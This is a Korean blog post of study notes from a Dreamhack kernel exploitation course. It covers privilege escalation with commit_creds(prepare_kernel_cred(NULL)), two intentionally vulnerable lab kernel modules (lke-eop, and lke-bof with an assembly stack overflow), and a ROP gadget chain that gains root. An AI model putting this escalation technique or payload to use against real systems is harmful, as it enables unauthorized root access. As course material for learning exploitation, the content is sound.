- Background: Task에서 실습을 통해 cred구조체를 조작하면 권한이 변경될 수 있음을 알았다.
- 실제로도 커널의 취약점을 이용하여 커널 메모리의 cred 구조체를 조작하면 다른 유저의 권한을 획득할 수 있다.
- 하지만 이 방법은 다음과 같은 제약 조건이 존재한다.
- 커널 메모리 상의 현재 task_struct 혹은 cred구조체의 주소를 알아야한다.
- 임의 읽기 및 쓰기가 가능해야 한다.
- cred 구조체는 다른 태스크와 공유되는 자원이므로, 임의로 변경 시 레이스 컨디션이 발생할 수 있으며, 이는 익스플로잇의 안전성을 떨어뜨리는 요인이 된다. 실제 커널에서 태스크의 신원 정보를 변경할 때는 cred 구조체를 직접 변경하는 것이 아닌 기존의 구조체를 복사하고 이를 수정한 뒤, 태스크가 복사된 cred를 가리키도록 한다.
Prepare & Commit
prepare_kernel_cred
- prepare_kernel_cred()함수는 원하는 신원 정보의 cred구조체를 생성하는 함수이다.
struct cred *prepare_kernel_cred(struct task_struct *daemon)
- 함수의 원형은 위와 같으며 함수 코드의 경우 /kernel/cred.c에서 살펴 볼 수 있다.
- 중요 부분만 스니펫으로 살펴보자.
if (daemon)
old = get_task_cred(daemon);
else
old = get_cred(&init_cred);
- 먼저, 이 함수는 인자로 넘어온 daemon의 cred구조체를 old에 할당한다.
- 만약 daemon이 NULL이라면 init_cred를 가져오는데, 이는 root권한을 나타내고 있다.
struct cred init_cred = {
...
.uid = GLOBAL_ROOT_UID,
.gid = GLOBAL_ROOT_GID,
.suid = GLOBAL_ROOT_UID,
.sgid = GLOBAL_ROOT_GID,
.euid = GLOBAL_ROOT_UID,
.egid = GLOBAL_ROOT_GID,
.fsuid = GLOBAL_ROOT_UID,
.fsgid = GLOBAL_ROOT_GID,
.securebits = SECUREBITS_DEFAULT,
.cap_inheritable = CAP_EMPTY_SET,
.cap_permitted = CAP_FULL_SET,
.cap_effective = CAP_FULL_SET,
.cap_bset = CAP_FULL_SET,
...
};
- euid 필드에 GLOBAL_ROOT_UID를 넣는 것을 볼 수 있다.
- cred를 가져온 다음, new를 새로 할당하여 old를 복사한 후, 반환한다.
new = kmem_cache_alloc(cred_jar, GFP_KERNEL);
*new = *old;
return new;
- 따라서 이 함수에 daemon의 값으로 0을 전달할 수 있으면, root권한을 가지는 cred구조체를 반환받을 수 있다.
commit_creds
- commit_creds는 현재 태스크의 신원을 다른 신원으로 변경하는 커널 함수이다.
- 함수의 원형은 다음과 같다.
int commit_creds(struct cred *new)
- 함수의 코드는 prepare_kernel_cred와 마찬가지로 kernel/cred.c에 있으며 중요 스니펫만 살펴보자.
struct task_struct *task = current;
- 먼저 이 함수는 현재 태스트를 가리키는 task포인터를 선언한다.
rcu_assign_pointer(task->real_cred, new);
rcu_assign_pointer(task->cred, new);
- 그 뒤, 인자로 받은 new로 현재 태스크의 신원 정보를 교체한다.
commit_creds(prepare_kernel_cred(NULL))
- 따라서 현재 살펴본 두 함수를 종합하면, prepare_kernel_cred()함수의 인자로 NULL을 전달하여 root권한의 cred포인터를 반환시키고, 이를 다시 commit_creds()함수의 인자로 넘겨주면 현재 태스크의 권한을 root권한으로 상승시킬 수 있다...!
commit_creds(prepare_kernel_cred(NULL));
- 따라서 커널 권한에서 임의의 코드를 실행시킬 수 있고, 위 두 함수의 주소를 알고 있다면 이를 이용하여 권한 상승을 시도할 수 있다.
실습: lke-eop
/* Copyright (C) 2020 Theori Inc.
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
*/
/* pr_info() 등에서 사용할 커널 메시지 포맷을 정의합니다. */
#define pr_fmt(fmt) KBUILD_MODNAME ": " fmt
#include <linux/kernel.h> /* 리눅스 커널 타입 및 매크로 */
#include <linux/module.h> /* 모듈 관련 타입 및 매크로 */
#include <linux/cred.h> /* prepare_kernel_cred, commit_creds */
#include <linux/proc_fs.h> /* proc_create, file_operations, ... */
/* 사용자 모드 프로세스가 /proc/lke-eop 파일에 쓰기 요청을
* 보낼 때 이를 처리하기 위해 호출되는 함수입니다.
*
* @file: 쓰기 요청을 받은 FD의 파일 디스크립션을 나타내는 구조체입니다.
* @buf: 파일에 쓰고자 하는 데이터를 저장하는 버퍼의 주소입니다.
* 사용자 주소공간에 위치한 주소이며,
* 직접 접근하는 대신 반드시 copy_from_user와 같은 함수를 사용하여
* 먼저 커널 영역으로 복사한 후 사용하여야 합니다.
* @count: 파일에 쓰고자 하는 데이터의 바이트 단위 크기입니다.
* @ppos: 데이터가 씌어질 파일 내 위치를 저장하는 변수를 가리키는 포인터입니다.
* 작업 완료 후 *ppos를 복사된 바이트수만큼 증가시키면,
* 다음 write 호출에서 업데이트된 *ppos값이 다시 입력됩니다.
*
* 리턴값: 성공 시, 쓰여진 바이트 수를 반환합니다.
* 실패 시, 음수 errno 값을 반환합니다. (예: -EIO)
*/
static ssize_t eop_write(struct file *file, const char __user *buf,
size_t count, loff_t *ppos)
{
/* 권한 상승 코드를 실행합니다. */
commit_creds(prepare_kernel_cred(NULL));
/* 작업이 성공했음을 나타냅니다. */
return count;
/* 이외 인자는 모두 무시됩니다. 따라서 /proc/lke-eop 파일에
* 어떤 데이터를 쓰든지 권한상승이 발생합니다. */
}
/* /proc/lke-eop 파일 정보를 저장합니다. 모듈 언로드 시 사용됩니다. */
static struct proc_dir_entry *proc_eop;
/* 파일을 정의할 때, 가능한 작업들에 대한 구현을 저장하는 구조체입니다. */
static const struct file_operations eop_fops = {
/* 소유자 커널 모듈을 나타내어, 파일이 열려 있는 동안에는
* 모듈 탈착(unload)을 할 수 없도록 합니다. */
.owner = THIS_MODULE,
/* 파일 쓰기를 구현하는 함수의 포인터를 지정합니다.
* 해당 파일에 write() 시스템 콜이 실행되면 이 함수가 호출됩니다. */
.write = eop_write,
};
/* 모듈 부착(load) 시 호출되는 함수입니다. */
int __init init_module(void)
{
/* /proc/lke-eop 파일을 등록합니다.
*
* S_IWUGO: 모든 사용자가 쓰기 권한을 가지도록 합니다.
* &eop_fops: 파일을 대상으로 한 작업의 구현을 지정합니다.
*/
proc_eop = proc_create("lke-eop", S_IWUGO, NULL, &eop_fops);
/* 운영체제 메모리가 부족하면 proc_create() 함수 호출이 실패합니다.
* ENOMEM 오류 코드를 반환하여 사용자에게 이 상태를 통보합니다.
*/
if (!proc_eop)
return -ENOMEM;
/* 모듈 부착(load)이 성공하였다는 메시지를 출력합니다. */
pr_info("loaded\n");
/* 작업이 성공하였음을 나타냅니다. */
return 0;
}
/* 모듈 탈착(unload) 시 호출되는 함수입니다. */
void __exit cleanup_module(void)
{
/* 앞서 등록한 /proc/lke-eop 파일을 시스템으로부터 등록 해제합니다. */
proc_remove(proc_eop);
/* 모듈 탈착(unload)이 성공하였다는 메시지를 출력합니다. */
pr_info("unloaded\n");
}
MODULE_LICENSE("GPL"); /* 모듈 사용 허가(license)를 명시합니다. */
- 위는 실습 모듈의 소스 코드이다.
- 자세하게 주석을 다 적어주셨다.
int __init init_module(void) {
proc_eop = proc_create("lke-eop", S_IWUGO, NULL, &eop_fops);
...
}
- 가장 먼저 실행되는 init_module함수를 보면, 이 모듈이 부착 될 시 proc_create()함수를 호출하여 /proc/lke-eop라는 proc파일을 생성한다.
- 인자로 전달되는 eop_fops는 이 파일을 대상으로 읽기, 쓰기 등의 파일 함수를 호출할 때, 어떤 함수를 호출할지 지정하는 구조체이다.
static const struct file_operations eop_fops = {
.owner = THIS_MODULE,
.write = eop_write,
};
- 이 파일을 대상으로 write를 호출하면 eop_write함수가 호출되는 것을 알 수 있다.
static ssize_t eop_write(struct file *file, const char __user *buf,
size_t count, loff_t *ppos) {
commit_creds(prepare_kernel_cred(NULL));
return count;
}
- eop_write()함수는 commit_creds(prepare_kernel_cred(NULL));을 호출하여 권한을 상승시켜 준다.
익스플로잇
- 압축 파일 안의 lke-eop.ko 모듈을 vm-shared 디렉토리 안에 넣고 커널에 부착하면 아래와 같이 /proc/lke-eop가 생성된 것을 확인할 수 있다..!
- 위에서 분석한 결과 lke-eop를 대상으로 write함수가 호출되면, 태스크의 권한이 상승된다.
- 따라서 bash에서 파일에 데이터를 쓸 때 사용하는 '>'로 파일에 write를 발생시키면 root권한을 획득할 수 있다.
실습: lke-bof
- lke-eop에서는 prepare_kernel_cred와 commit_creds를 활용한 익스플로잇이 가능하다는 것을 확인해 보았다.
- 이번에는 ROP를 이용해서 똑같이 함수를 호출해보자.
/* Copyright (C) 2020 Theori Inc.
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
*/
/* pr_info() 등에서 사용할 커널 메시지 포맷을 정의합니다. */
#define pr_fmt(fmt) KBUILD_MODNAME ": " fmt
#include <linux/kernel.h> /* 리눅스 커널 타입 및 매크로 */
#include <linux/module.h> /* 모듈 관련 타입 및 매크로 */
#include <linux/proc_fs.h> /* proc_create, file_operations, ... */
extern void bof_func(const char __user *buf, size_t count);
/* 사용자 모드 프로세스가 /proc/lke-bof 파일에 쓰기 요청을
* 보낼 때 이를 처리하기 위해 호출되는 함수입니다.
*
* @file: 쓰기 요청을 받은 FD의 파일 디스크립션을 나타내는 구조체입니다.
* @buf: 파일에 쓰고자 하는 데이터를 저장하는 버퍼의 주소입니다.
* 사용자 주소공간에 위치한 주소이며,
* 직접 접근하는 대신 반드시 copy_from_user와 같은 함수를 사용하여
* 먼저 커널 영역으로 복사한 후 사용하여야 합니다.
* @count: 파일에 쓰고자 하는 데이터의 바이트 단위 크기입니다.
* @ppos: 데이터가 씌어질 파일 내 위치를 저장하는 변수를 가리키는 포인터입니다.
* 작업 완료 후 *ppos를 복사된 바이트수만큼 증가시키면,
* 다음 write 호출에서 업데이트된 *ppos값이 다시 입력됩니다.
*
* 리턴값: 성공 시, 쓰여진 바이트 수를 반환합니다.
* 실패 시, 음수 errno 값을 반환합니다. (예: -EIO)
*/
static ssize_t bof_write(struct file *file, const char __user *buf,
size_t count, loff_t *ppos)
{
bof_func(buf, count); /* see vuln.S */
return count;
}
/* /proc/lke-bof 파일 정보를 저장합니다. 모듈 언로드 시 사용됩니다. */
static struct proc_dir_entry *proc_bof;
/* 파일을 정의할 때, 가능한 작업들에 대한 구현을 저장하는 구조체입니다. */
static const struct file_operations bof_fops = {
/* 소유자 커널 모듈을 나타내어, 파일이 열려 있는 동안에는
* 모듈 탈착(unload)을 할 수 없도록 합니다. */
.owner = THIS_MODULE,
/* 파일 쓰기를 구현하는 함수의 포인터를 지정합니다.
* 해당 파일에 write() 시스템 콜이 실행되면 이 함수가 호출됩니다. */
.write = bof_write
};
/* 모듈 부착(load) 시 호출되는 함수입니다. */
int __init init_module(void)
{
/* /proc/lke-bof 파일을 등록합니다.
*
* S_IWUGO: 모든 사용자가 쓰기 권한을 가지도록 합니다.
* &bof_fops: 파일을 대상으로 한 작업의 구현을 지정합니다.
*/
proc_bof = proc_create("lke-bof", S_IWUGO, NULL, &bof_fops);
/* 운영체제 메모리가 부족하면 proc_create() 함수 호출이 실패합니다.
* ENOMEM 오류 코드를 반환하여 사용자에게 이 상태를 통보합니다.
*/
if (!proc_bof)
return -ENOMEM;
/* 모듈 부착(load)이 성공하였다는 메시지를 출력합니다. */
pr_info("loaded\n");
/* 작업이 성공하였음을 나타냅니다. */
return 0;
}
/* 모듈 탈착(unload) 시 호출되는 함수입니다. */
void __exit cleanup_module(void)
{
/* 앞서 등록한 /proc/lke-bof 파일을 시스템으로부터 등록 해제합니다. */
proc_remove(proc_bof);
/* 모듈 탈착(unload)이 성공하였다는 메시지를 출력합니다. */
pr_info("unloaded\n");
}
MODULE_LICENSE("GPL"); /* 모듈 사용 허가(license)를 명시합니다. */
- lke-eop 실습과 거의 동일한 코드이다.
- /proc/lke-bof에 write할 때 사용되는 bof_func함수에 대해 살펴보자.
.intel_syntax noprefix
.text
# void bof_func(const char __user *buf, size_t count)
.globl bof_func
.type bof_func, @function
bof_func:
# {
.cfi_startproc
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 0x70
lea rax, .Lleave_ret[rip]
lea rcx, [rsi - 1]
and rcx, ~7
mov [rsp + rcx], rax # *(RSP + ((count - 1) & ~0x7)) = &.Lleave_ret;
mov rdx, rsi
mov rsi, rdi
lea rdi, [rsp - 0x8]
xor eax, eax
call _copy_from_user # copy_from_user(RSP - 8, buf, count);
# }
.Lleave_ret:
leave
.cfi_restore 6
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.size bof_func, .-bof_func
.section .note.GNU-stack, "", @progbits
- Vuln.S에 정의 되어있는 bof_func를 살펴보면 _copy_from_user함수를 사용하여 사용자의 입력을 커널 메모리에 복사한다.
- 이 함수는 커널 메모리의 주소, 사용자 메모리의 주소, 복사할 데이터의 크기를 인자로 받는다.
- bof_func에서는 첫번째 인자로 rsp -8의 주소를 전달하는데, 이는 _copy_from_user의 반환 주소가 저장될 위치이다.
- 따라서 "BAAAAAAAA"를 /proc/lke-bof에 입력할 시 _copy_from_user에서 반환될 때, 0x4141414141414142로 반환되게 된다.
- 해당 주소는 커널 코드의 주소가 아니기 때문에 커널 패닉이 발생하게 된다.
- 이 취약점을 ROP를 통해 공격하여 commit_creds(prepare_kernel_cred(NULL))을 실행할 수 있다.
익스플로잇
- ROP를 수행하기 전에 먼저 필요한 가젯과 심볼의 주소를 찾아야 한다.
- 현재 실습중인 커널의 경우 KASLR이 적용되지 않아 필요한 주소들을 쉽게 찾을 수 있다.
- KASLR이란 커널에 적용되는 보호기법으로, 커널이 실행될 때마다 커널 코드가 임의의 주소에 매핑되게 한다.
- KASLR이 적용되어 있지 않을 때, 심볼의 주소를 찾기 위해 사용할 수 있는 방법은 다음과 같다.
- 각 파일은 커널 소스 디렉토리에 존재한다.
1. System.map 읽기
2. vmlinux 심볼 읽기
- 이외에도 필요한 코드 가젯은 vmlinux를 대상으로 ROPgadget을 실행하여 찾을 수 있다.
#ROP PAYLOAD
#0xffffffff810a1035: xor edi, edi ; ret
#0xffffffff81081716: <prepare_kernel_cred>
#0xffffffff81043661: pop rcx ; ret
#0x0000000000000000: [IMM (rcx): 0x0]
#0xffffffff8148df59: mov rdi, rax ; rep movsb byte ptr [rdi], byte ptr [rsi] ; ret
#0xffffffff8108157b: <commit_creds>
'Pwn > Kernel Security' 카테고리의 다른 글
[Pwn] Dreamhack - 7.Exploit Tech: Kernel Leak (0) | 2024.01.07 |
---|---|
[Pwn] Dreamhack - 6.Mitigation: KASLR (0) | 2024.01.07 |
[Pwn] Dreamhack - 4.Background: Tasks (0) | 2024.01.06 |
[Pwn] Dreamhack - 3.Background: Kernel Debugging (0) | 2024.01.06 |
[Pwn] Dreamhack - 2.Tool: QEMU (0) | 2024.01.05 |